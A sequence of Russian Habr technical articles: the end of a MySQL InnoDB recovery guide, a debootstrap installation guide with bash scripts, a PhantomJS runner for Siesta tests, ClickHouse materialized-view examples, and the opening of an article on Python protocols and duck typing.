2. В вопросах бэкапа/восстановления не надо надеяться на админов, если можешь сделать это сам; и тем более, если для тебя не составит особого труда автоматизировать этот процесс (что вполне можно сделать на примитивном уровне штатными средствами);
3. Организация на предприятии и четкое регламентирование обязанностей каждого отдельного сотрудника в каждом конкретном проекте очень важны, когда мы имеем дело с IT; и современные стандарты разделения труда на IT-предприятиях очень и очень актуальны и выросли не на пустом месте;
4. И все-же, если база полетела и нет бэкапа – это еще не повод сразу отчаиваться и опускать руки.
Изначально я думал просто дать кратенькую инструкцию что и как делать в таком случае, но, во-первых, подобные инструкции, в принципе, имеются в сети; и, во-вторых, решил более подробно описать все как было, с “подводными камнями” и ошибками; а также счел, что подобная форма изложения может оказаться несколько интересней. На самом деле, я уверен, что с подобными подводными камнями (точнее, мелкими камушками) столкнется меньшинство, но тем не менее, считаю важным, чтобы они были описаны.
И, наконец, краткая памятка-рецепт, что делать в подобной ситуации, когда от рабочей базы с таблицами InnoDB остаются только файлы с данными и логами InnoDB:
1. Подставляем в папку с данными файлы данных и описаний таблиц (файлы **\*.frm**, **\*.MYI** и **\*.MYD**, все в папке с именем БД — т.е. копируем всю эту папку целиком);
2. В папку c файлами данных InnoDB (по умолчанию, скорее всего, это папка data, где хранятся и бинарные логи, и папки с именами БД; в моем случае я сделал для данных InnoDB отдельную папку) скидываем все файлы **ibdata\***. Здесь, наверное, надо отметить, что размер файлов должен соответствовать указанному в настройках. Если размеры разнятся, то можно поступить так: удалить созданный сервером файл (или файлы) вручную, и создать новый (или, соответственно, новые) с размером равным размеру имеющегося, затем запустить сервер и остановить его, и вместо созданных им файлов подставить свои. Облегчить эту операцию – чтобы не пришлось играть с настройками вручную – может MySQL Administrator. Или можно сделать еще проще – элементарно подмениь все файлы (или файл, если он один), а в файле настроек **my.ini/my.cfg** просто изменить размер – по идее должно сработать.
3. Скидываем логи InnoDB (или подменяем, если они уже есть) туда, где они должны быть (по умолчанию, это та же папка **data**, где хранятся файлы с данными и описаниями, но это, опять же, может быть изменено в настройках);
4. Задаем размер логов InnoDB равным размеру наших логов (если вручную – то в байтах, если в MySQL Administrator – в Мб);
5. Запускаем MySQL daemon
**> mysqld --console**
внимательно смотрим лог, должен быть запущен сервис и выполнено восстановление;
6. Если восстановление не происходит, тогда в конфигурации или параметром ставим innodb\_force\_recovery=1 и пробуем запустить. Если не проходит, ставим innodb\_force\_recovery=2 и пробуем запустить. И т.д. до 6.
7. И, наконец, смотрим на месте ли наши данные, и если на месте – делаем дамп базы, который потом уже разворачиваем на рабочий сервер.
Подобная операция в Linux или другой Unix-подобной системе будет выглядеть примерно так же. Кроме того, насколько я понимаю, файлы данных и логов MySQL (и бинарных логов, и логов InnoDB) универсальны для всех систем, и то, что упало на Windows, таким же образом можно восстановить и на Linux, и на OS X, и на любой другой системе, где работает сама MySQL.
#### Ссылки
[Документация по движку InnoDB](http://dev.mysql.com/doc/refman/5.0/en/innodb-storage-engine.html)
#### В дополнение
[PhantomTLT](https://habrahabr.ru/users/phantomtlt/) в комментарии подсказывает (и, опираясь на его советы, я немного скорректировал памятку выше):
Если у вас сохранился весь datadir, то никаких пустых баз с идентичной структурой создавать не нужно. Достаточно просто заменить все файлы и откорректировать размер логов InnoDB.
Далее стартуем MySQL и внимательно смотрим лог. Должен стартануть и выполнить восстановление.
Если восстановление не проходит, тогда в конфиге ставим innodb\_force\_recovery=1 (http://dev.mysql.com/doc/refman/5.1/en/forcing-innodb-recovery.html) и пробуем стартовать. Если не стартуем, ставим innodb\_force\_recovery=2 и пробуем стартовать. И т.д. до 6.
Если сразу стартуете с innodb\_force\_recovery=6, то вы рискуете получить БД в inconsistent state. Т.е. целостность (согласованность) данных может быть нарушена.
Если вы дошли до innodb\_force\_recovery=6 и это не помогло, то очень грустно — нужно восстанавливать в полуручном режиме. | https://habr.com/ru/post/125358/ | null | ru | null |
# Ставим Ubuntu/Debian через debootstrap из другой Linux-системы
Прошло почти три года с публикации последней и единственной [статьи](http://habrahabr.ru/post/67192/) на хабре про это дело, и с тех пор некоторые вещи изменились. Хочу сразу сказать, что этот пост — упрощение и объединение двух замечательных вики-страниц написанных моим другом: [раз](http://www.linux.org.ru/wiki/en/%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Ubuntu_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%B4%D1%80%D1%83%D0%B3%D0%BE%D0%B9_GNU/Linux_%28debootstrap%29) и [два](http://www.linux.org.ru/wiki/en/Установка_Debian_через_другой_GNU/Linux_(debootstrap)). Если те страницы направлены на полное и подробное описание процесса установки, то я постараюсь максимально упростить и ускорить процесс установки, разбив его всего на три шага.
Сам я считаю такой способ установки самым адекватным, т.к. он при всей своей простоте имеет большую гибкость, свежеустановленная система имеет самые новые версии пакетов, а всё, что нужно для полноценной работы системы можно установить до первой загрузки в неё. Под катом я приведу некоторый набор скриптов,
Во-первых, вам понадобится рабочая Linux-система, из которой мы будем устанавливать новую систему. Подойдет любой дистрибутив, как и установленный, так и запущенный с LiveCD.
Шаг нулевой: Подготовка жесткого диска
======================================
Для начала нужно разметить диск, как ваша душа пожелает. Хороших инструкций в интернете много, я обычно использую графическую утилиту GParted. Настоятельно советую выделить /home в отдельный раздел, при переустановке/смене дистрибутива это позволит избежать геморроя с переносом данных.
Примонтируйте все разделы в какую-нибудь директорию (к примеру, /mnt/debian/). Далее даже вне скриптов вместо /mnt/debian я буду использовать $TARGET.
```
## Предположим, что /dev/sda1 - root, а /dev/sda2 - home
mkdir /mnt/debian
mount /dev/sda1 /mnt/debian
mkdir /mnt/debian/home
mount /dev/sda2 /mnt/debian/home
```
Шаг первый: Формирование базовой системы
========================================
Для работы скрипта потребуется рабочий debootstrap, который есть в репозиториях всех deb-based дистрибутивов. Не бойтесь исправлять переменные и комментировать/раскомментировать строчки.
```
#!/bin/bash
ARCH=i386
#ARCH=amd64 ##установить 64-битную систему из-под 32-битной не выйдет
## пример для debian
OS=debian
DISTRO=wheezy
#DISTRO=stable
## ubuntu
#OS=ubuntu
#DISTRO=oneiric
## место для установки системы
TARGET=/mnt/debian
## в качестве источника можно использовать примонтированный cdrom с системой:
#debootstrap --include=sudo,nano,wget --arch $ARCH $DISTRO $TARGET file:/media/cdrom
## а можно и зеркало в интернете
debootstrap --include=sudo,nano,wget --arch $ARCH $DISTRO $TARGET http://$OS.mirror.vu.lt/$OS/
## строчки ниже трогать не нужно, они монтируют системные директории в новый /
mount -o bind /dev $TARGET/dev
mount -o bind /sys $TARGET/sys
```
Шаг второй: начальная конфигурация
==================================
Настройте файл $TARGET/etc/fstab по шаблону:
```
# /etc/fstab: static file system information.
#
# Use 'vol_id --uuid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
#
proc /proc proc defaults 0 0 #обязательно
/dev/sda1 /boot ext2 defaults 0 0
/dev/sda2 / ext4 defaults 0 1
/dev/sda3 /home ext4 defaults 0 0
/dev/sda4 none swap sw 0 0
```
В рассмотренном выше примере он будет выглядеть так:
```
# /etc/fstab: static file system information.
#
proc /proc proc defaults 0 0
/dev/sda1 / ext4 defaults 0 1
/dev/sda2 /home ext4 defaults 0 0
```
И файл $TARGET/etc/apt/sources.list. Его можно либо сгенерировать (генераторы для [debian](http://debgen.simplylinux.ch/), [ubuntu](http://repogen.simplylinux.ch/)), либо воспользоваться шаблонами:
**Шаблон для Debian**
```
deb http://http.debian.net/debian $DISTRO main contrib non-free
# deb-src http://http.debian.net/debian $DISTRO main
deb http://security.debian.org $DISTRO/updates main contrib non-free
# deb-src http://security.debian.org $DISTRO/updates main
deb http://http.debian.net/debian-backports $DISTRO-backports main non-free
# deb-src http://http.debian.net/debian-backports $DISTRO-backports main
deb http://http.debian.net/debian $DISTRO-proposed-updates main contrib non-free
# deb-src http://http.debian.net/debian $DISTRO-proposed-updates main
```
**Шаблон для Ubuntu**
```
deb http://ru.archive.ubuntu.com/ubuntu $DISTRO main universe restricted multiverse
# deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO main universe
deb http://security.ubuntu.com/ubuntu $DISTRO-security main universe restricted multiverse
# deb-src http://security.ubuntu.com/ubuntu $DISTRO-security main universe
deb http://ru.archive.ubuntu.com/ubuntu $DISTRO-updates main universe restricted multiverse
# deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO-updates main universe
deb http://ru.archive.ubuntu.com/ubuntu $DISTRO-proposed main universe restricted multiverse
# deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO-proposed main universe
deb http://ru.archive.ubuntu.com/ubuntu $DISTRO-backports main universe restricted multiverse
# deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO-backports main universe
deb http://archive.canonical.com/ubuntu $DISTRO partner
deb http://extras.ubuntu.com/ubuntu $DISTRO main
# deb-src http://extras.ubuntu.com/ubuntu $DISTRO main
```
Шаг третий: всё остальное
=========================
Для этого нужно запустить следующий скрипт в chroot. При условии, что имя скрипта — postinst.sh и лежит он в $TARGET/, запускать его нужно так:
```
env LANG=C env HOME=/root chroot $TARGET /bin/bash /postinst.sh
```
Сам скрипт:
```
#!/bin/bash
## обновление индекса репозитария
apt-get update
## настройка часовых поясов
dpkg-reconfigure tzdata
## монтирование файловых систем
mount -t proc /proc /proc
mount -a
## участие в опросе популярности пакетов
apt-get -y install popularity-contest
## русский язык в консоли, русская локаль
## при настройке console-cyrillic лучше выбрать, как шрифт, UniCyr, а на последний вопрос ответить «Да»
apt-get -y install locales console-cyrillic
dpkg-reconfigure locales
dpkg-reconfigure console-cyrillic
## установка hostname, обязательный шаг
HOST='mysuperpc'
echo "$HOST" > /etc/hostname
echo -e "\n127.0.0.1 localhost $HOST" >> /etc/hosts
## добавление пользователя, добавление его в sudo
USER='mynotsuperuser'
echo 'Добавление пользователя'
adduser $USER
usermod -a -G sudo $USER
## установка пароля root
echo 'Установка пароля root'
passwd
## установка ядра и загрузчика
ARCH=i686 #варианты: i386, i486, i686, amd64
## Debian:
apt-get -y install linux-base linux-image-$ARCH linux-headers grub
## Ubuntu:
# apt-get -y install linux-image-generic linux-headers-generic
## уставновка большинства прошивок
apt-get -y install firmware-linux firmware-ralink firmware-realtek
## установка рабочей среды
## Debian:
apt-get -y install xorg kde-full #KDE
#apt-get -y install xorg kde # <= Lenny
#apt-get -y install xorg gnome
#apt-get -y install xorg xfce lxdm #XFCE
#apt-get -y install xorg lxde lxdm #LXDE
## Debian, аудиосистема
apt-get -y install pulseaudio
apt-get -y install alsa-base alsa-tools alsa-utils alsa-oss
## Ubuntu:
#apt-get -y install xorg kubuntu-desktop #KDE
#apt-get -y install xorg ubuntu-desktop #Unity
#apt-get -y install xorg gnome-shell gnome-themes-standard gnome-tweak-tool #Gnome3
#apt-get -y install xorg xubuntu-desktop #XFCE
#apt-get -y install xorg lubuntu-desktop #LXDE
```
Если нужно поставить что-нибудь еще вручную до перезагрузки, то всегда можно войти в chroot-окружение командой:
```
env LANG=C env HOME=/root chroot $TARGET /bin/bash
```
Вот и всё. Полный набор скриптов для полуавтоматической установки я [выложил](https://github.com/derlaft/debootstrap.sh) на github, так что не стесняйтесь оформлять предложения и улучшения в виде pull-request'ов. | https://habr.com/ru/post/147522/ | null | ru | null |
# Запуск тестов Siesta из консоли с помощью PhantomJS
Здесь будет рассказано как запустить тесты Siesta из консоли не используя платную (стандартную) версию продукта (которая стоит 499$).
##### Проблема
Дело в том, что бесплатная (лайт) версия инструмента [Siesta](http://www.bryntum.com/products/siesta/) позволяет запускать тесты только из браузера. А если вам понадобиться запускать тесты для CI из консоли, то придется обратить свой взор на стандартную версию, которая имеет много вкусностей, в том числе и запуск из консоли. Сам инструмент использует широко известный бесплатный движок [PhantomJS](http://phantomjs.org/) для запуска своих тестов.
##### Решение
Изучив документацию PhantomJS, Siesta и готовые примеры для запуска тестов Jasmine и QUnit, мною было написано немного кода, позволяющего сэкономить наши с вами деньги.
##### Краткий обзор инструментария
Инструмент [Siesta](http://www.bryntum.com/products/siesta/) написан на фреймворке [ExtJS](http://www.sencha.com/products/extjs/). Это мощное средство предназначено для тестирования javascript-приложений написанных с помощью различных популярных фреймворков таких как: ExtJS, jQuery, Dojo и т.д. Тестирование может проводиться как модульное так и функциональное, вплоть до полной имитации действий пользователя в браузере.
Инструмент [PhantomJS](http://phantomjs.org/) используется для запуска веб-страниц из консоли и основан на движке WebKit. Он достаточно широко освещен в русскоязычном сегменте интернета, в том числе на Хабре. В отличие от инструмента Siesta, по которому информации «кот наплакал».
Собственно, поэтому и пишу данный пост.
##### Необходимые условия
1. Вы уже умеете запускать тесты Siesta из браузера (если нет, то вам [сюда](http://www.bryntum.com/docs/siesta/#!/guide/siesta_getting_started-section-4)). Для примера, будем запускать наши тесты по адресу `localhost/tests/index.html`
2. У вас установлен PhantomJS (если нет, то [сюда](http://phantomjs.org/download.html))
##### Необходимый код
Мною был написан скрипт-ранер [run-siesta.js](https://github.com/suvorov/run-siesta) для PhantomJS, чтобы запускать тесты Siesta.
**Код run-siesta.js**
```
var start = new Date().getTime(),
system = require('system'),
page = require('webpage').create();
console.log('\nStart tests...\n');
/**
* Лог.
*/
var globalLog = (function()
{
var store = [];
return {
/**
* Добавляет сообщение в лог.
*
* @param msg
*/
add: function(msg)
{
store.push(msg);
},
/**
* Выводит логи в консоль.
*/
console: function()
{
var log = '';
for (var i= 0; i < store.length; i++)
{
log += store[i] + '\n';
}
console.log(log);
}
};
}());
if (system.args.length !== 2)
{
globalLog.add('Usage: phantomjs run-siesta.js URL');
myExit(1);
}
/**
* Завершает работу программы и возвращает в консоль числовой код.
*
* @param exitCode код завершения (0 - ОК)
*/
function myExit(exitCode)
{
globalLog.add('Total time: ' + (new Date().getTime() - start) + ' ms');
globalLog.add('Exit code: ' + exitCode);
globalLog.console();
phantom.exit(exitCode);
}
/**
* Отслеживает сообщения консоли на странице.
* @param msg
*/
page.onConsoleMessage = function(msg)
{
if (msg.match(/END_TESTS/))
{
var exitCode = page.evaluate(
function()
{
var totalPass = document.getElementsByClassName('total-pass')[0].innerText;
var totalFail = document.getElementsByClassName('total-fail')[0].innerText;
if (totalFail !== '0')
{
console.log('\nFailed!');
}
else
{
console.log('\nCompleted!');
}
console.log('\nTotal pass: ' + totalPass);
console.log('Total fail: ' + totalFail);
return totalFail === '0' ? 0 : 1;
}
);
myExit(exitCode);
}
else if (!msg.match(/\[object Object\]/))
{
console.log(msg);
}
};
/**
* Открывает страницу.
* @param {String} URL страницы
*/
page.open(system.args[1],
function(status)
{
if (status !== "success")
{
globalLog.add("Unable to access network");
myExit(1);
}
}
);
```
Данный код использует API PhantomJS для запуска страницы c тестами и выводит в консоль логи, которые формируются на странице index.html.
Как вы уже знаете, index.html включает в себя скрипт index.js, который описывает конфигурацию запуска тестов. Простой пример [index.js](http://www.bryntum.com/docs/siesta/#!/guide/siesta_getting_started-section-4) приведен на официальном сайте Siesta.
Чтобы тесты запускались автоматически необходимо добавить в конфигурацию опцию:
`autoRun: true`
Таким образом, при обращении PhantomJS к странице, тесты будут запускаться автоматически. Если вам необходимо автозапускать тесты и через браузер, то это делается через меню настроек страницы, выбрав опцию “Auto launch”.
Для того, чтобы PhantomJS получал информацию о каждом пройденном тесте, необходимо использовать событие Siesta — [testfinalize](http://www.bryntum.com/docs/siesta/#%21/api/Siesta.Test-event-testfinalize), которое выбрасывается каждый раз при завершении очередного теста. Обработчик этого события добавляется в конфигурацию и выводит информацию о пройденном тесте в консоль страницы (которую в свою очередь подхватывает PhantomJS с помощью **page.onConsoleMessage**).
Завершение всех тестов отслеживается с помощью события [testsuiteend](http://www.bryntum.com/docs/siesta/#!/api/Siesta.Harness-event-testsuiteend). Обработчик этого события выводит в консоль специальный код, который знает PhantomJS. Благодаря чему он может завершить свою работу и вывести итоговую информацию в консоль.
**Код обработчиков**
```
listeners:
{
testfinalize: function(event, test)
{
var fail = test.$failCount,
pass = test.$passCount;
var log = (fail ? '~~~~~~~~\n FAILED ' : '[PASSED] ') +
test.url + ' [pass: ' + pass + ', fail: ' + fail + ']' +
(fail ? '\n~~~~~~~~' : '');
console.log(log);
},
testsuiteend: function(event, harness)
{
console.log('END_TESTS');
}
}
```
Если собрать все вместе, используя простой пример с оф. сайта Siesta, то [index.js](https://github.com/suvorov/run-siesta) будет выглядеть так
**Код index.js**
```
var Harness = Siesta.Harness.Browser.ExtJS;
Harness.configure({
title : 'Awesome Test Suite',
// автозапуск тестов
autoRun : true,
preload : [
// version of ExtJS used by your application
'../ext-4.1.1/resources/css/ext-all.css',
'../resources/yourproject-css-all.css',
// version of ExtJS used by your application
'../ext-4.1.1/ext-all-debug.js',
'../yourproject-all.js'
],
listeners:
{
// добавляем обработчик события о заврешении очередного теста
testfinalize: function(event, test)
{
var fail = test.$failCount,
pass = test.$passCount;
var log = (fail ? '~~~~~~~~\n FAILED ' : '[PASSED] ') +
test.url + ' [pass: ' + pass + ', fail: ' + fail + ']' +
(fail ? '\n~~~~~~~~' : '');
console.log(log);
},
// добавляем обработчик события о заврешении всего пакета тестов
testsuiteend: function(event, harness)
{
console.log('END_TESTS');
}
}
});
Harness.start(
'010_sanity.t.js',
'020_basic.t.js'
);
```
При завершении тестов run-siesta.js парсит тестовую страницу на общее количество пройденных тестов, выводит общее затраченное время и возвращает соответствующий числовой идентификатор в консоль (0 – успех, 1 — ошибка), что важно для CI.
Пример того, как все это выглядит в действии
**скриншот**
##### TODO
Необходимо предусмотреть возможность завершения работы PhantomJS по таймауту, на тот случай, если он никогда не получит код завершения END\_TESTS.
##### Итог
Понадобилось всего два небольших файлика с несложным кодом, чтобы сэкономить 499$.
Профит? | https://habr.com/ru/post/189144/ | null | ru | null |
# Материализованные представления и ReplacingMergeTree в ClickHouse (ч2)
[В первой части](https://habr.com/ru/post/657579/) я прошелся по основным понятиям по работе с материализованным представлением и ReplacingMergeTree в ClickHouse. Разобрал особенности, основные преимущества и недостатки. В этой части я покажу как это работает вместе.
Итак, в пример из первой части попробуем добавить требование по созданию агрегированной таблицы, которая будет хранить среднее время ответа по дням. Предположим что это требуется для быстрого построения отчетов по всем микросервисам в компании, которых очень много и данных соответственно тоже.
Таблица-источник (максимальное время ответа по-секундно):
```
CREATE TABLE responses_time (
time DateTime,
app String,
max_time UInt16
) engine=ReplacingMergeTree()
ORDER BY (time, app)
```
Материализованное представление:
```
CREATE MATERIALIZED VIEW responses_time_by_day_mat_view TO responses_time_by_day
(
day DateTime,
app String,
avg_time UInt16
) AS
SELECT
time AS day,
app,
avg(max_time) as avg_time
FROM responses_time
GROUP BY
toDateTime((intDiv(toUInt32(time), 86400) * 86400)) as time,
app
```
Но сразу можно увидеть, что работать это будет только если вставлять данные одной пачкой, которая будет включать в себя целый день, что скорее всего невозможно в реальности. Напомню, что данные будут браться для агрегации не из всей таблицы, а только те, что пришли в текущем `INSERT`. Я специально привел этот пример, который не подходит под цель статьи, но он отражает, что далеко не всегда можно средствами БД решить все задачи. В данном случае проще всего пойти следующим путем:
* Создать отдельную агрегированную таблицу:
```
CREATE TABLE responses_time_by_day
(
day DateTime,
app String,
avg_time UInt16
) engine=MergeTree()
ORDER BY (day, app)
```
* Раз в день (допустим в 00:00) запускать запрос:
```
SELECT
toDateTime((intDiv(toUInt32(time), 86400) * 86400)) AS day,
app,
avg(max_time) as avg_time
FROM responses_time
WHERE time > yesterday()
GROUP BY app
```
* Результаты вставлять в агрегат.
А теперь более подходящий пример. Представим, что собираем не время ответа, а статусы. Данные по суммарному количеству каждого статуса для каждого приложения необходимо показывать с агрегацией по дням/неделям/месяцам за последние полгода/год. При сотнях или тысячах приложений таблица заполнится очень быстро, поэтому снова требуется агрегация и хочется чтобы она работала автоматически без лишних приседаний. И важное условие: данные попадают в таблицу по крону, который берет какой-то последний промежуток времени из другой системы и перекладывает данные в ClickHouse (суммарно по-секундно и это уже околореальный пример из жизни). Но в этом подходе сразу возникают нюансы, ведь что-то может пойти не так. Например, прошлая итерация упала и образовалась дыра в метриках. Причем для разных приложений последнее сохраненное время оказалось тоже разным. Чтобы об этом всем не беспокоиться можно использовать `ReplacingMergeTree` для таблицы источника и период синка брать побольше. Но самое интересное это что тогда мы увидим в агрегате, если данные в таблице-источнике повторились? В части первой я описывал, что ClickHouse не сразу удаляет дубликаты.
Итак, таблица-источник:
```
CREATE TABLE responses_status (
time DateTime,
app String,
status UInt16,
count UInt32
) engine=ReplacingMergeTree()
ORDER BY (time, app, status)
```
Агрегированная таблица:
```
CREATE TABLE responses_status_by_min
(
time DateTime,
app String,
status UInt16,
count UInt32
) engine=SummingMergeTree()
ORDER BY (time, app, status)
```
Здесь уже использован движок `SummingMergeTree`. Он отлично подходит для текущей задачи так как:
> при слиянии кусков данных ClickHouse все строки с одинаковым первичным ключом (точнее, с одинаковым ключом сортировки) заменяет на одну, которая хранит только суммы значений из столбцов с цифровым типом данных.
>
>
То есть будет суммировать поле `count` и уже не важно в одном запросе это было вставлено или нет.
Ниже показано само мат представление, которое суммирует данные поминутно (это уменьшает размер данных для построения отчетов в десятки и сотни раз).
```
CREATE MATERIALIZED VIEW responses_status_mat_view TO responses_status_by_min AS
SELECT
toDateTime((intDiv(toUInt32(time), 60) * 60)) as time,
app,
status,
sum(count) as count
FROM responses_status
GROUP BY time, app, status
```
Вставка данных:
```
INSERT INTO responses_status (time,app,status,count) VALUES
('2021-10-11 12:00:00', 'search', 200, 3),
('2021-10-11 12:00:00', 'search', 500, 1),
('2021-10-11 12:00:01', 'search', 200, 3),
('2021-10-11 12:00:01', 'search', 500, 2),
('2021-10-11 12:00:00', 'api', 200, 1),
('2021-10-11 12:00:00', 'api', 500, 5),
('2021-10-11 12:00:01', 'api', 200, 1),
('2021-10-11 12:00:01', 'api', 500, 1)
```
Результат:
```
SELECT * FROM responses_status_by_min
┌────────────────time─┬─app────┬─status─┬─count─┐
│ 2021-10-11 12:00:00 │ api │ 200 │ 2 │
│ 2021-10-11 12:00:00 │ api │ 500 │ 6 │
│ 2021-10-11 12:00:00 │ search │ 200 │ 6 │
│ 2021-10-11 12:00:00 │ search │ 500 │ 3 │
└─────────────────────┴────────┴────────┴───────┘
```
Все прекрасно, данные просуммировались с округлением до минуты. Добавляем еще немного данных вторым запросом:
```
INSERT INTO responses_status (time,app,status,count) VALUES
('2021-10-11 12:00:02', 'search', 200, 3),
('2021-10-11 12:00:02', 'search', 500, 1),
('2021-10-11 12:00:03', 'search', 200, 3),
('2021-10-11 12:00:03', 'search', 500, 2),
('2021-10-11 12:00:02', 'api', 200, 1),
('2021-10-11 12:00:02', 'api', 500, 5),
('2021-10-11 12:00:03', 'api', 200, 1),
('2021-10-11 12:00:03', 'api', 500, 1)
```
Результат:
```
SELECT * FROM responses_status_by_min
┌────────────────time─┬─app────┬─status─┬─count─┐
│ 2021-10-11 12:00:00 │ api │ 200 │ 2 │
│ 2021-10-11 12:00:00 │ api │ 500 │ 6 │
│ 2021-10-11 12:00:00 │ search │ 200 │ 6 │
│ 2021-10-11 12:00:00 │ search │ 500 │ 3 │
└─────────────────────┴────────┴────────┴───────┘
┌────────────────time─┬─app────┬─status─┬─count─┐
│ 2021-10-11 12:00:00 │ api │ 200 │ 2 │
│ 2021-10-11 12:00:00 │ api │ 500 │ 6 │
│ 2021-10-11 12:00:00 │ search │ 200 │ 6 │
│ 2021-10-11 12:00:00 │ search │ 500 │ 3 │
└─────────────────────┴────────┴────────┴───────┘
```
И тут тоже ClickHouse не сразу суммирует. Ок, уже привыкли, но все же хочется увидеть результат:
```
SELECT * FROM responses_status_by_min FINAL
┌────────────────time─┬─app────┬─status─┬─count─┐
│ 2021-10-11 12:00:00 │ api │ 200 │ 4 │
│ 2021-10-11 12:00:00 │ search │ 500 │ 6 │
└─────────────────────┴────────┴────────┴───────┘
┌────────────────time─┬─app────┬─status─┬─count─┐
│ 2021-10-11 12:00:00 │ api │ 500 │ 12 │
│ 2021-10-11 12:00:00 │ search │ 200 │ 12 │
└─────────────────────┴────────┴────────┴───────┘
```
Все верно. А теперь посмотрим что будет при появлении дубликатов. Для чистоты эксперимента я предварительно сделал TRUNCATE обеих таблиц. После этого сделал две одинаковые вставки:
```
INSERT INTO responses_status (time,app,status,count) VALUES
('2021-10-11 12:00:00', 'search', 200, 3),
('2021-10-11 12:00:00', 'search', 500, 1),
('2021-10-11 12:00:01', 'search', 200, 3),
('2021-10-11 12:00:01', 'search', 500, 2),
('2021-10-11 12:00:00', 'api', 200, 1),
('2021-10-11 12:00:00', 'api', 500, 5),
('2021-10-11 12:00:01', 'api', 200, 1),
('2021-10-11 12:00:01', 'api', 500, 1)
INSERT INTO responses_status (time,app,status,count) VALUES
('2021-10-11 12:00:00', 'search', 200, 3),
('2021-10-11 12:00:00', 'search', 500, 1),
('2021-10-11 12:00:01', 'search', 200, 3),
('2021-10-11 12:00:01', 'search', 500, 2),
('2021-10-11 12:00:00', 'api', 200, 1),
('2021-10-11 12:00:00', 'api', 500, 5),
('2021-10-11 12:00:01', 'api', 200, 1),
('2021-10-11 12:00:01', 'api', 500, 1)
```
В обеих таблицах данные ожидаемо пока еще не смержены, но результат говорит, что все получилось:
```
SELECT * FROM responses_status_by_min FINAL
┌────────────────time─┬─app────┬─status─┬─count─┐
│ 2021-10-11 12:00:00 │ api │ 200 │ 4 │
│ 2021-10-11 12:00:00 │ search │ 500 │ 6 │
└─────────────────────┴────────┴────────┴───────┘
┌────────────────time─┬─app────┬─status─┬─count─┐
│ 2021-10-11 12:00:00 │ api │ 500 │ 12 │
│ 2021-10-11 12:00:00 │ search │ 200 │ 12 │
└─────────────────────┴────────┴────────┴───────┘
``` | https://habr.com/ru/post/659413/ | null | ru | null |
# Протоколы в Python: утиная типизация по-новому
В новых версиях Python аннотации типов получают всё большую поддержку, всё чаще и чаще используются в библиотеках, фреймворках, и проектах на Python. Помимо дополнительной документированности кода, аннотации типов позволяют таким инструментам, как [mypy](https://mypy.readthedocs.io/en/stable/), статически произвести дополнительные проверки корректности программы и выявить возможные ошибки в коде. В этой статье пойдет речь об одной, как мне кажется, интересной теме, касающейся статической проверки типов в Python – протоколах, или как сказано в [PEP-544](https://www.python.org/dev/peps/pep-0544), *статической утиной типизации*.
Содержание
----------
* [Утиная типизация](#%D1%83%D1%82%D0%B8%D0%BD%D0%B0%D1%8F-%D1%82%D0%B8%D0%BF%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)
* [Номинальная типизация](#%D0%BD%D0%BE%D0%BC%D0%B8%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F-%D1%82%D0%B8%D0%BF%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)
* [Структурная типизация](#%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%BD%D0%B0%D1%8F-%D1%82%D0%B8%D0%BF%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)
* [Python и протоколы](#python-%D0%B8-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B)
* [Пользовательские протоколы](#%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D0%BA%D0%B8%D0%B5-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B)
+ [Пример использования](#%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)
+ [Явная имплементация протокола](#%D1%8F%D0%B2%D0%BD%D0%B0%D1%8F-%D0%B8%D0%BC%D0%BF%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82%D0%B0%D1%86%D0%B8%D1%8F-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D0%B0)
+ [Декоратор runtime\_checkable](#%D0%B4%D0%B5%D0%BA%D0%BE%D1%80%D0%B0%D1%82%D0%BE%D1%80-runtime_checkable)
* [Несколько слов в заключение](#%D0%BD%D0%B5%D1%81%D0%BA%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE-%D1%81%D0%BB%D0%BE%D0%B2-%D0%B2-%D0%B7%D0%B0%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)
* [Примечания](#%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%87%D0%B0%D0%BD%D0%B8%D1%8F)
* [Полезные ссылки](#%D0%BF%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D1%8B%D0%B5-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B8)
Утиная типизация
----------------
Часто, когда речь заходит о Python, всплывает фраза *утиная типизация*, или даже что-нибудь вроде:
> Если это выглядит как утка, плавает как утка и крякает как утка, то это, вероятно, и есть утка
>
>
[Утиная типизация](https://docs.python.org/3/glossary.html#term-duck-typing) – это концепция, характерная для языков программирования с динамической типизацией, согласно которой конкретный тип или класс объекта не важен, а важны лишь свойства и методы, которыми этот объект обладает. Другими словами, при работе с объектом его тип не проверяется, вместо этого проверяются свойства и методы этого объекта. Такой подход добавляет гибкости коду, позволяет полиморфно работать с объектами, которые никак не связаны друг с другом и могут быть объектами разных классов. Единственное условие, чтобы все эти объекты поддерживали необходимый набор свойств и методов.
```
>>> class Meter:
... def __len__(self):
... return 1_000
...
>>> len([1, 2, 3])
3
>>> len("Duck typing...")
14
>>> len(Meter())
1000
```
В примере выше функции `len` не важен тип аргумента, а важно лишь то, что у объекта можно вызвать метод `__len__()`.
